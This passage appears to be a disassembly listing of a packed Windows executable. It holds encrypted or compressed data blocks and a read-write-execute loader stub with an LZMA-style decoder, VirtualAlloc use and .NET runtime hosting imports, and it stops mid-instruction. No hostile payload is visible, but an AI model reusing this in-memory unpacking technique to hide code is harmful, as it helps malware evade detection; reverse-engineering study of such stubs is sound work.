0B1C1D5C1h, 4136C3A9h dd 9BF15A25h, 287402D0h, 0F053BED6h, 0DE05468Eh, 7CCC2928h dd 93CE87Ah, 3A462C13h, 0C8126B6Ah, 8EF3BC41h, 0C9EB4230h dd 0DB90D35Dh, 0FE801B4h, 18AACA8Eh, 0DB6B7D9Bh, 38C1C732h dd 62004265h, 0C88B7F8h, 0F30A99C0h, 45C13B34h, 0CAA17201h dd 0FC6D60BEh, 0AC4C1E5Dh, 0C4D52180h, 8AAA05FFh, 0E679D8BDh dd 0B7E13AA0h, 74DBA6C6h, 0A94DD2A8h, 0E824BDD1h, 47F06E6Ah dd 5AF7E8BEh, 2D0319F8h, 9F06AB3Eh, 0DEC2C3E4h, 9C8A4B18h dd 0F92BD52Eh, 2ABBD61Eh, 31E2CE1h, 0F717C40Dh, 4B9C331Ch dd 0CAA5C4D3h, 968B5873h, 0FC17AB56h, 400A1925h, 6E66B355h dd 45A8900Ah, 0AB4021EDh, 0BCEC6A43h, 9D822FFh, 51EF4ABCh dd 6D9D6E77h, 73A777E6h, 0A78B4812h, 9A233182h, 5A3E317Fh dd 884FC180h, 2F81C068h, 0A6902C9h, 35A8CEF6h, 8C325FE7h dd 8FC61AFCh, 338E9783h, 5C34AC1Ch, 0AF019BB2h, 0F90B3D71h dd 80BBA7E7h, 3457E890h, 56550355h, 0EFC06861h, 0F8433A57h dd 5032EFF4h, 276513E0h, 4CA8EFFAh, 0FF431534h, 0E17F5F6Ch dd 70C52A17h, 0DD1BB345h, 0BB47A482h, 8205B4C6h, 0E5064DFh dd 1C59A024h, 290CACCAh, 335B3A21h, 0B679FEDBh, 0C3287A72h dd 8C394A34h, 2B1000E3h, 71CE8DC0h, 2AAC26B3h, 5F996255h dd 0BB9F83FAh, 71B96DA5h, 76A43D05h, 8C515D5Fh, 341599F3h dd 0A1BC5314h, 6DD3CD9Dh, 0CC9C7393h, 0DA5EBD3Eh, 0D87A6571h dd 43664DC0h, 0C1FDC802h, 50039D9Eh, 0BCF3C5CFh, 0FDF2C988h dd 0A59E35Fh, 0F3991ECAh, 74CC98B0h, 6301F960h, 9ABADAB0h dd 926D9E2Dh, 0AC1864DDh, 7EE9705Bh, 67AB100Dh, 78F4AC20h dd 0BEA2D7A3h, 9796A6CFh, 58305D97h, 4E7887Bh, 36312300h dd 4D3BAA53h, 5F23BBC5h, 0D6F81A0Ah, 910358BBh, 1ABC9420h dd 9F6AE3A8h, 6EC68F87h, 0F9CFB3C2h, 0ADF2E46Eh, 668A0AB3h dd 3A819B2h, 5C7B95CEh, 0E2345BA2h, 68A97EBCh, 0B86B13B3h dd 742652B8h, 0EC4B72DAh, 0ACD3F85Dh, 0BFC1D17Bh, 0F2585F3Dh dd 0E03A13B4h, 0E9AAC7DCh, 7244602Fh, 0E7C2A352h, 2F1BFF6Fh dd 0C37E7682h, 0FA9BD87Eh, 92672251h, 4F12D83Ah, 0C46F2704h dd 0A5928712h, 2B43127h, 0C916CB01h, 0B4962F51h, 61C8BF4Ah dd 46F32F1Ah, 31733D70h, 0B8B9E795h, 0A6B8B65Bh, 0CB2DFEC7h dd 0B68C04BCh, 0C81E9D0Ah, 216C1B70h, 0E779DEE5h, 0CAD31B46h dd 0A05ABB3Ah, 9BF9ABEEh, 6E0A7445h, 43BC2B45h, 0A8B17A85h dd 1D116498h, 2B636620h, 40386258h, 5A94C7F6h, 1F062FF6h dd 0C4A75A4Fh, 2F65D722h, 0CF890F64h, 56790899h, 5F4CB50h dd 14AA42F6h, 4F88402h, 0B886836Bh, 0E8725889h, 99DC55B9h dd 94D05AB2h, 0B23187E0h, 884CF0FAh, 485561EAh, 0E9F0089h dd 0C1DAFC32h, 61813E1Dh, 851872Ah, 16023FC3h, 0BCE521ACh dd 84D663F9h, 0DD079257h, 5C0D2ADCh, 67CC2F15h, 44E6951h dd 0CECC6D4Dh, 8AB749AFh, 0D4B933EDh, 509A2DA2h, 2D2B2266h dd 0F4ECA978h, 6F7CEF24h, 666DEA74h, 6A060E70h, 43C7DEEFh dd 0C38028EBh, 795B933Bh, 683242C0h, 135900BEh, 2780D3E2h dd 0AF8F9147h, 81FB4705h, 0AC9D3812h, 0EB1119F6h, 36B7B5B7h dd 0E7DED9ABh, 0C126CC0h, 0D2F830D9h, 0C28FABC6h, 0F7901FCCh dd 4E3BEF01h, 0E7F68A04h, 8D87A5EAh, 0A8D6642Eh, 4050A224h dd 757E655Fh, 0E1AEE8FFh, 0B19E500Ch, 0DDBB5A30h, 31355B1Fh dd 0A796F371h, 0E11ECAA8h, 1F1486B3h, 80BCA18Ch, 0D6273957h dd 47BFF259h, 0F6F841E9h, 0D2702804h, 5407845Fh, 7B49B5F5h dd 5BD1B224h, 185F2EB1h, 0D8705A00h, 13A66CC7h, 4F6AA6D3h dd 38BDD5EAh, 3FD17957h, 6A2FB40h, 77C91C68h, 1E4ADC8Ah dd 0C07D4628h, 76FF4410h, 176EDE9Dh, 8C7B2447h, 0AEEC3786h dd 7FC942ECh, 76250EBBh, 9C34DD84h, 0CBC5FDC0h, 20FBC848h dd 0B7AD1FC6h, 0A40D9FF2h, 95815ED0h, 0BC1D0B8Eh, 0C9E5EDFDh dd 1A53E241h, 22317A39h, 0B2CD5509h, 16B9E72Ch, 0E6BB6B87h dd 0D8F47BA3h, 0E8CCEAABh, 252F6663h, 0ED6D2E0Eh, 0B17F863Bh dd 0C39E4F4Dh, 80514567h, 0E228E748h, 239E1E95h, 21DE5EDEh dd 42F75A8Ch, 9E7A6A13h, 596BA383h, 0C3CC0EF2h, 0C05E1F12h dd 768DA75Bh, 14AFBA4Dh, 410E558Eh, 17BA3C07h, 7C070156h dd 35700192h, 0A97F887Bh, 436C85BFh, 0F2FF2F83h, 28E273B7h dd 43C119Dh, 5307F7C5h, 6E8B7FDDh, 9D6DD075h, 4E1202C0h dd 6F90891Dh, 5EDF5BACh, 6A5D1740h, 8EA040AAh, 35DD0AA8h dd 55711055h, 4F692E90h, 5AF4E015h, 7474B740h, 0B7932977h dd 9C6086BFh, 482EF082h, 22497274h, 9CC01B81h, 523F3114h dd 510A43CCh, 7F9B221Dh, 0CE25F96Bh, 2B0C81E4h, 0DB539554h dd 0D1B5EF84h, 7D1555FCh, 37FFBE49h, 0E2A3D8CFh, 1B963302h dd 0BACB994Eh, 0F3EAF7B7h, 0F6161791h, 42591FE5h, 48CB7375h dd 57EA48E7h, 56A2C8CAh, 80C5308Ch, 74C28339h, 12577ABBh dd 0DEC169FCh, 63369236h, 2B31B6E3h, 5F7FEBABh, 0C393D6E7h dd 1890A235h, 1FA0B444h, 9CB77FCDh, 0A9FC5A04h, 3CB9D59h dd 3B218910h, 0DF33EFFCh, 0F25A448Eh, 30FEE4D4h, 785416E9h dd 0A5C84682h, 0C2E2AB53h, 0A987E798h, 658AA877h, 0C3E08E0Ah dd 490CEAB7h, 3073272Bh, 79F6FF6Dh db 1Bh db 0B5h ; µ _pdata ends ; Section 3. (virtual address 00034000) ; Virtual size : 000017D4 ( 6100.) ; Section size in file : 000017D4 ( 6100.) ; Offset to raw data for section: 00034000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 434000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_434000 dd 16FCh ; DATA XREF: start:loc_434A55r ; start+21o dd offset sub_435237 dd 0 dword_43400C dd 0 ; DATA XREF: sub_435237+3r ; sub_43528D+7w dword_434010 dd 0 ; DATA XREF: sub_435237+32w ; sub_43528Dr dword_434014 dd 0 ; DATA XREF: sub_435237+3Cw ; sub_43528D+1Fr dword_434018 dd 0 ; DATA XREF: sub_435237+44w ; sub_43528D+19r dword_43401C dd 0 ; DATA XREF: sub_435237+4Cw ; sub_43528D+13r dword_434020 dd 0 ; DATA XREF: start+116r off_434024 dd offset dword_4356FC ; DATA XREF: start+26w start+2Br ... dword_434028 dd 400000h ; DATA XREF: start+38w start+4Cr ... dword_43402C dd 1 ; DATA XREF: start+3Er ; start:loc_434A96w dd 2 dup(0) aUnexpectedRelo db 'Unexpected relocation type: *pw = 0x%04x *pdw = 0x%08x',0 ; DATA XREF: start+734o aErrorBadReloca db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o aTheHsFileIsL_0 db 'The %hs file is ',0Ah ; DATA XREF: start+595o db 'linked to missing export %hs:%hs.',0 align 10h aTheHsFileIsLin db 'The %hs file is ',0Ah ; DATA XREF: start+576o db 'linked to missing export %hs:0x%04x.',0 align 4 aARequired_dllF db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo align 4 aErrorAllocatin db 'Error allocating memory!',0 ; DATA XREF: start+200o align 10h dword_434150 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29Ch ; DATA XREF: sub_4352B8+131o aWks: ; DATA XREF: sub_4352B8+F1o unicode 0, <wks>,0 aOleaut32_dll db 'oleaut32.dll',0 ; DATA XREF: sub_4352B8+57o align 4 aCorbindtorunti db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_4352B8+4Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_4352B8+45o aCouninitialize db 'CoUninitialize',0 ; DATA XREF: sub_4352B8+38o align 4 aCoinitialize db 'CoInitialize',0 ; DATA XREF: sub_4352B8+2Do align 4 aOle32_dll db 'ole32.dll',0 ; DATA XREF: sub_4352B8+11o align 4 dd 34200h, 2 dup(0) dd 34304h, 34234h, 34228h, 2 dup(0) dd 3432Ch, 3425Ch, 5 dup(0) dd 34268h, 34276h, 34286h, 34298h, 342AAh, 342BEh, 342D0h dd 342DEh, 342F4h, 0 dd 34312h, 3431Eh, 0 dword_434234 dd 77E79E34h ; DATA XREF: sub_434960+ADr start+2E0r ... dword_434238 dd 77E7980Ah ; DATA XREF: sub_434960+65r start+75r ... dword_43423C dd 77E7A5FDh ; DATA XREF: start+523r start+545r ... dword_434240 dd 77E805B8h ; DATA XREF: start+43Br start+479r dword_434244 dd 77E79F93h ; DATA XREF: start+425r dword_434248 dd 77E6169Ah ; DATA XREF: start+40Dr start+5C9r ... dword_43424C dd 77E75CB5h ; DATA XREF: start+20Fr start+4AEr ... dword_434250 dd 77E7A099h ; DATA XREF: start+AAr dword_434254 dd 77E805D8h ; DATA XREF: sub_4352B8+9r dd 0 dword_43425C dd 77D4C96Ah ; DATA XREF: start+493r start+57Er ... dword_434260 dd 77D6ADD7h ; DATA XREF: start+207r start+4A6r ... align 8 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h dd 65726464h, 7373h, 6F4C0249h, 694C6461h, 72617262h, 41784579h dd 1770000h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 37B0000h, 74726956h, 506C6175h, 65746F72h, 7463h, 784500AFh dd 72507469h, 7365636Fh, 1750073h aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D50000h, 72707377h, 66746E69h, 1DE0041h dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h dd 6C6Ch ; --------------------------------------------------------------------------- loc_434338: ; DATA XREF: sub_4352B8+E5o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_4352B8+EAo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434358 proc near ; CODE XREF: sub_4345EB+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_4343B0 push ebx mov [ebp+arg_0], edx loc_434373: ; CODE XREF: sub_434358+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_43437F sub edi, esi or al, 1 loc_43437F: ; CODE XREF: sub_434358+21j cmp esi, 1000000h jnb short loc_4343AA mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_43439D mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_4343A2 ; --------------------------------------------------------------------------- loc_43439D: ; CODE XREF: sub_434358+37j mov bl, [edx] inc edx mov [ecx], edx loc_4343A2: ; CODE XREF: sub_434358+43j movzx edx, bl shl edi, 8 or edi, edx loc_4343AA: ; CODE XREF: sub_434358+2Dj dec [ebp+arg_0] jnz short loc_434373 pop ebx loc_4343B0: ; CODE XREF: sub_434358+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_434358 endp ; =============== S U B R O U T I N E ======================================= sub_4343BA proc near ; CODE XREF: sub_43447F+1Dp ; sub_4344B6+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_43442B mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_434427 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_43440E mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_434413 ; --------------------------------------------------------------------------- loc_43440E: ; CODE XREF: sub_4343BA+46j mov dl, [esi] inc esi mov [ecx], esi loc_434413: ; CODE XREF: sub_4343BA+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_434427: ; CODE XREF: sub_4343BA+3Fj xor eax, eax jmp short loc_43447C ; --------------------------------------------------------------------------- loc_43442B: ; CODE XREF: sub_4343BA+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_43447C mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_434462 mov [ecx+10h], eax or bl, 0FFh jmp short loc_434467 ; --------------------------------------------------------------------------- loc_434462: ; CODE XREF: sub_4343BA+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_434467: ; CODE XREF: sub_4343BA+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_43447C: ; CODE XREF: sub_4343BA+6Fj ; sub_4343BA+96j pop edi pop esi retn sub_4343BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43447F proc near ; CODE XREF: sub_434576+26p ; sub_434576+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_4344AA push esi push edi mov edi, [ebp+arg_4] loc_434490: ; CODE XREF: sub_43447F+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_4343BA pop ecx add eax, esi dec edi pop ecx jnz short loc_434490 pop edi pop esi loc_4344AA: ; CODE XREF: sub_43447F+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_43447F endp ; =============== S U B R O U T I N E ======================================= sub_4344B6 proc near ; CODE XREF: sub_4345EB+2F5p ; sub_4345EB+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_4344EC push esi loc_4344C6: ; CODE XREF: sub_4344B6+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_4343BA pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_4344C6 pop esi loc_4344EC: ; CODE XREF: sub_4344B6+Dj mov eax, ebx pop edi pop ebx retn sub_4344B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4344F1 proc near ; CODE XREF: sub_4345EB+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_4343BA pop ecx mov ebx, eax pop ecx or ebx, 2 loc_434520: ; CODE XREF: sub_4344F1+5Fj cmp esi, eax jnz short loc_434552 cmp ebx, 100h jge short loc_43456F movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_4343BA pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_434520 ; --------------------------------------------------------------------------- loc_434552: ; CODE XREF: sub_4344F1+31j mov esi, 100h loc_434557: ; CODE XREF: sub_4344F1+7Cj cmp ebx, esi jge short loc_43456F push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_4343BA pop ecx or ebx, eax pop ecx jmp short loc_434557 ; --------------------------------------------------------------------------- loc_43456F: ; CODE XREF: sub_4344F1+39j ; sub_4344F1+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_4344F1 endp ; =============== S U B R O U T I N E ======================================= sub_434576 proc near ; CODE XREF: sub_4345EB+24Fp ; sub_4345EB+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_4343BA pop ecx pop ecx test eax, eax push edi jnz short loc_4345A6 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_43447F add esp, 0Ch jmp short loc_4345E8 ; --------------------------------------------------------------------------- loc_4345A6: ; CODE XREF: sub_434576+16j lea eax, [esi+2] push eax call sub_4343BA pop ecx pop ecx test eax, eax push edi jnz short loc_4345D4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_43447F add esp, 0Ch add eax, 8 jmp short loc_4345E8 ; --------------------------------------------------------------------------- loc_4345D4: ; CODE XREF: sub_434576+3Ej add esi, 204h push 8 push esi call sub_43447F add esp, 0Ch add eax, 10h loc_4345E8: ; CODE XREF: sub_434576+2Ej ; sub_434576+5Cj pop edi pop esi retn sub_434576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4345EB proc near ; CODE XREF: sub_434960+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_434653 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_434653: ; CODE XREF: sub_4345EB+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_434675: ; CODE XREF: sub_4345EB+AFj cmp [ebp+var_34], edi jnz short loc_434681 mov [ebp+var_24], edx or al, 0FFh jmp short loc_434689 ; --------------------------------------------------------------------------- loc_434681: ; CODE XREF: sub_4345EB+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_434689: ; CODE XREF: sub_4345EB+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_434675 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_434951 loc_4346AC: ; CODE XREF: sub_4345EB+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz loc_434761 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_434701 and [ebp+var_4], 0 jmp short loc_434711 ; --------------------------------------------------------------------------- loc_434701: ; CODE XREF: sub_4345EB+10Ej cmp [ebp+var_4], 0Ah jge short loc_43470D sub [ebp+var_4], 3 jmp short loc_434711 ; --------------------------------------------------------------------------- loc_43470D: ; CODE XREF: sub_4345EB+11Aj sub [ebp+var_4], 6 loc_434711: ; CODE XREF: sub_4345EB+114j ; sub_4345EB+120j cmp [ebp+var_14], 0 jz short loc_43473E mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_4344F1 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_43475C ; --------------------------------------------------------------------------- loc_43473E: ; CODE XREF: sub_4345EB+12Aj push 1 pop ebx loc_434741: ; CODE XREF: sub_4345EB+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_4343BA or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_434741 loc_43475C: ; CODE XREF: sub_4345EB+151j mov eax, [ebp+arg_1C] jmp short loc_4347D4 ; --------------------------------------------------------------------------- loc_434761: ; CODE XREF: sub_4345EB+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_4343BA pop ecx cmp eax, 1 pop ecx jnz loc_43485A lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_4343BA pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_4347E2 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_43482E cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_4347D4: ; CODE XREF: sub_4345EB+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_434945 ; --------------------------------------------------------------------------- loc_4347E2: ; CODE XREF: sub_4345EB+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_4347FA mov eax, [ebp+var_10] jmp short loc_434825 ; --------------------------------------------------------------------------- loc_4347FA: ; CODE XREF: sub_4345EB+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_4343BA pop ecx test eax, eax pop ecx jnz short loc_434816 mov eax, [ebp+var_C] jmp short loc_43481F ; --------------------------------------------------------------------------- loc_434816: ; CODE XREF: sub_4345EB+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_43481F: ; CODE XREF: sub_4345EB+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_434825: ; CODE XREF: sub_4345EB+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_43482E: ; CODE XREF: sub_4345EB+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_434576 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_43491E ; --------------------------------------------------------------------------- loc_43485A: ; CODE XREF: sub_4345EB+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_434576 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_43489A jmp short loc_43489D ; --------------------------------------------------------------------------- loc_43489A: ; CODE XREF: sub_4345EB+2ABj push 3 pop eax loc_43489D: ; CODE XREF: sub_4345EB+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_43447F add esp, 0Ch cmp eax, 4 jl short loc_434915 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_4348EC lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_4344B6 add esp, 0Ch loc_4348E8: ; CODE XREF: sub_4345EB+328j add ebx, eax jmp short loc_43491A ; --------------------------------------------------------------------------- loc_4348EC: ; CODE XREF: sub_4345EB+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_434358 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_4344B6 add esp, 14h jmp short loc_4348E8 ; --------------------------------------------------------------------------- loc_434915: ; CODE XREF: sub_4345EB+2CEj mov [ebp+var_8], eax mov ebx, eax loc_43491A: ; CODE XREF: sub_4345EB+2FFj inc ebx mov [ebp+var_8], ebx loc_43491E: ; CODE XREF: sub_4345EB+26Aj cmp [ebp+var_8], 0 jz short loc_434951 inc edi inc edi loc_434926: ; CODE XREF: sub_4345EB+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_434945 cmp ecx, [ebp+arg_20] jb short loc_434926 loc_434945: ; CODE XREF: sub_4345EB+1F2j ; sub_4345EB+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_4346AC loc_434951: ; CODE XREF: sub_4345EB+BBj ; sub_4345EB+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_4345EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434960 proc near ; CODE XREF: start+1A2p start+25Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_4349D2 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_434990 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_43498A: ; CODE XREF: sub_434960+2Ej add cl, 0D3h dec eax jnz short loc_43498A loc_434990: ; CODE XREF: sub_434960+1Bj cmp cl, 9 jb short loc_4349A7 movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_4349A1: ; CODE XREF: sub_434960+45j add cl, 0F7h dec eax jnz short loc_4349A1 loc_4349A7: ; CODE XREF: sub_434960+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:dword_434238 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_4349D7 loc_4349D2: ; CODE XREF: sub_434960+11j push 1 pop eax jmp short loc_434A34 ; --------------------------------------------------------------------------- loc_4349D7: ; CODE XREF: sub_434960+70j lea ecx, [ebp+var_8] push ecx mov 